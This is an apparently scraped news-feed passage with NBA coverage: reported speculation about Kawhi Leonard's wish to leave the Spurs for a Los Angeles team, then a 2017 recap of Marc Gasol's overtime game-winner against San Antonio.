“I’ve talked about how Kawhi, playing in Los Angeles, he’s not about the glitz and the glamour and the paparazzi-type atmosphere. 

“If someone said that was the cause, that would be different. But saying he doesn’t want to play second banana, meaning he wants the ball and to be the number one offensive option – I’m not sure that’s so important to him. 

“I’ve also reported that Kawhi Leonard has made it clear, even though the Lakers are his preference – if that doesn’t work out, he’s willing to be a Clipper. So long as he’s in Los Angeles, fine. 

“He would prefer the Lakers but the Clippers are fully aware that he wouldn’t mind them if the Lakers scenario didn’t work out. 

“In their own subtle ways they have been attempting to manipulate San Antonio to hold off on sending Kawhi to the Lakers. 

“Because if indeed they hold off and the Clippers are in a position next summer where Kawhi is still on the open market and they have the max contract dollars to pay him, they believe their chances are incredibly legitimate to land him. 

“All Kawhi wants to do is get out of San Antonio, end up in LA. Whether it’s for the Lakers or the Clippers he can stomach it, so long as he returns home. 

“That’s what I’ve been told. They’re hopeful that San Antonio won’t cave and give him away to the Lakers or that somehow, someway his arrival to the Lakers can be derailed for them to legitimately compete.

“The Clippers can make the argument that it would be the environment that Kawhi wants because his personality veers towards something like that.”

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]]> https://briefnews.eu/kawhi-leonard-trade-lakers-lebron-james-reports-quashed-but-clippers-offered-hope/feed/ 0 Marc Gasol hits game-winner as Grizzlies overcome Kawhi Leonard’s ‘offensive manifesto’ to improbably tie series https://briefnews.eu/marc-gasol-hits-game-winner-as-grizzlies-overcome-kawhi-leonards-offensive-manifesto-to-improbably-tie-series/ https://briefnews.eu/marc-gasol-hits-game-winner-as-grizzlies-overcome-kawhi-leonards-offensive-manifesto-to-improbably-tie-series/#respond Sun, 23 Apr 2017 04:28:20 +0000 http://briefnews.eu/marc-gasol-hits-game-winner-as-grizzlies-overcome-kawhi-leonards-offensive-manifesto-to-improbably-tie-series/ grizzlies game winner

The Memphis Grizzlies pulled off a thrilling 110-108 overtime win over the San Antonio Spurs on Saturday in what may have been the best game of the NBA playoffs to tie the series 2-2.

Marc Gasol played hero for the Grizzlies, hitting a running jumper with .7 seconds left to play to put the Grizzlies up for good.

In the process, the Grizzlies seemingly stole a game from the Spurs as Kawhi Leonard put on an offensive clinic, scoring 43 points on 14-30 shooting to go with eight rebounds, three assists, and six steals.

Leonard scored 24 points in the fourth quarter and overtime combined, single-handedly keeping the Spurs in the game with what ESPN’s Ryan Ruocco referred to on air as an “offensive manifesto.” In the fourth quarter, Leonard hit two go-ahead shots in the final minute (the Grizzlies evened it up both times) and hit back-to-back threes in the final 23 seconds, bringing the Spurs back to tie the game, setting up Gasol’s final shot.

Ultimately, however, it was Gasol’s big shot that tied the series.

Days ago, it appeared as if Memphis may not make a Game 5 trip back to San Antonio. The Spurs soundly beat the Grizzlies in Game 1 and 2, with referees drawing the ire of Grizzlies coach David Fizdale after Game 2 when he blasted the the officiating as being one-sided.

The move seems to have inspired the Grizzlies, who offered to pay Fizdale’s $ 30,000 fine. Memphis has rebounded with big performances from Gasol and Mike Conley, playing their trademark “grit-and-grind” style of offense and defense, taking the Spurs out of their comfort zone.

As improbable as a tied series seemed after Game 2, the Grizzlies ensured they will be playing at least one more game at home when they’ll go back to Memphis for Game 6. 

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